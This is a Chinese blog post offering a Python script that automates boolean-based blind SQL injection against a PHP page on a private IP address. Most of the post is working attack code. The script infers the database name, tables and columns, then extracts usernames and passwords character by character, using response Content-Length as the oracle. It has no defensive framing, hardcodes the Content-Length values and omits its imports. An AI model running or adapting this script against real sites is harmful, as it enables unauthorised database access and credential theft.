python布尔盲注的脚本

该Python脚本用于执行布尔盲注攻击,通过调整Content-Length值探测数据库信息,包括库名、表名、字段名以及数据长度,最终获取可能的用户名和密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

使用python,编写一个可以自动爆破的布尔盲注脚本,根据不同情况调整里面的Content-Length的值

class bool():
    def __init__(self):
        self.url='http://192.168.18.141/sefa15/book/xian.php?id=7'
        self.data=string.ascii_lowercase + string.digits + '_-?,.'  #公共使用的资源
    def request(self,sql):
        num = requests.get(sql)
        nu = num.headers['Content-Length']  #全都需要使用的步骤,获取响应头部信息
        return nu
    def bool_sql(self):
        for i in range(1,10):   #这里只设置了1-9有需要可以修改
            pay=f' and length(database())={i}'
            sql=self.url+pay
            nu=self.request(sql)  #获取判断响应头部
            if nu !='2199':   #这个值,页面都是不同的
                return i
    def bool_sql_def(self):
        n=self.bool_sql()
        s=''
        for i in range(1,n+1):
            for da in self.data:
                pay=f" and substr(database(),{i},1)='{da}'"
                sql=self.url+pay
                nu = self.request(sql)
                if nu =='2116':
                    s+=da
        print(f'库名{s}')  #库名出来了
        return s
    def bool_sql_colu(self):
        for i in range(1,100):
            pay=f' and (length((select group_concat(table_name) from information_schema.tables where table_schema=database() )))={i}'
            sql=self.url+pay
            nu = self.request(sql)
            if nu=='2280':   #表的长度
                print(f'表长度{i}')
                return i
    def bool_sql_colu_def(self):
        n=self.bool_sql_colu()
        s=''
        # print(n)
        for i in range(1, n + 1):
            for da in self.data:
                pay=f" and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1))='{da}'"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2290' or nu=='2292':   #发现库有两个值,发现不全
                    s=s+da
        print(f'表名{s}')
        return s
    def bool_sql_fie(self):
        s=self.bool_sql_colu_def()
        s=(s.split(','))  #转换列
        self.v=[]
        for i in s:
            if i == 'users' or i == 'use':  #进行判断,找出所有可能的表
                self.v.append(i)
        for z in self.v:
            for n in range(1,100):
                pay=f" and (length((select group_concat(column_name) from information_schema.columns where table_name='{z}' )))={n}"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2274':
                    print(f'字段长度{n}')
                    return n
    def bool_sql_fie_def(self):
        n=self.bool_sql_fie()
        s=''
        for z in self.v:   #因为可能不止一个含有user库,无法判断因此进行多次循环,遍历所有可能性
            for i in range(1, n + 1):
                for da in self.data:
                    pay=f" and (substr((select group_concat(column_name) from information_schema.columns where table_name='{z}') ,{i},1))='{da}'"
                    sql = self.url + pay
                    nu = self.request(sql)
                    if nu == '2284' or nu == '2286':
                        s = s + da
        print(f'字段名{s}')
        return s
    def bool_data(self):
        k = self.bool_sql_def()
        s=self.bool_sql_fie_def()
        s = (s.split(','))
        self.paw=''
        self.use=''
        p=''
        u=''
        for z in s:
            if z == 'username':
                self.use=z
            elif z == 'password':
                self.paw=z
        for x in self.v:
            for i in range(1,50):
                pay=f" and (length((select group_concat({self.use}) from {k}.{x} )))={i}"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2186':
                    u=i
        for x in self.v:
            for i in range(1, 50):
                pay = f" and (length((select group_concat({self.paw}) from {k}.{x} )))={i}"
                sql = self.url + pay
                nu = self.request(sql)
                if nu == '2186':
                    p=i
        print(f'用户名数据长度{u}')
        print(f'密码数据长度{p}')
        return u,p
    def bool_user_password(self):
        ure=''
        pas=''
        usernum,pawnum=self.bool_data()
        k = self.bool_sql_def()
        for x in self.v:  #同样对所有可能进行遍历
            for u in range(1,usernum+1):
                for da in self.data:
                    pay=f" and (substr((select group_concat({self.use}) from {k}.{x} ),{u},1))='{da}'"
                    sql = self.url + pay
                    nu = self.request(sql)
                    if nu == '2196' or nu == '2198':
                        ure+=da
        for x in self.v:
            for u in range(1, usernum + 1):
                for da in self.data:
                    pay = f" and (substr((select group_concat({self.paw}) from {k}.{x} ),{u},1))='{da}'"
                    sql = self.url + pay
                    nu = self.request(sql)
                    if nu == '2196' or nu == '2198':
                        pas += da
        ure = (ure.split(','))
        pas = (pas.split(','))
        mes=dict(zip(ure,pas))
        print(f'用户名和密码是{mes}')  #进行字典处理方便后续查看
if __name__ == '__main__':
    # time_sql()
    bool=bool()
    bool.bool_user_password()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值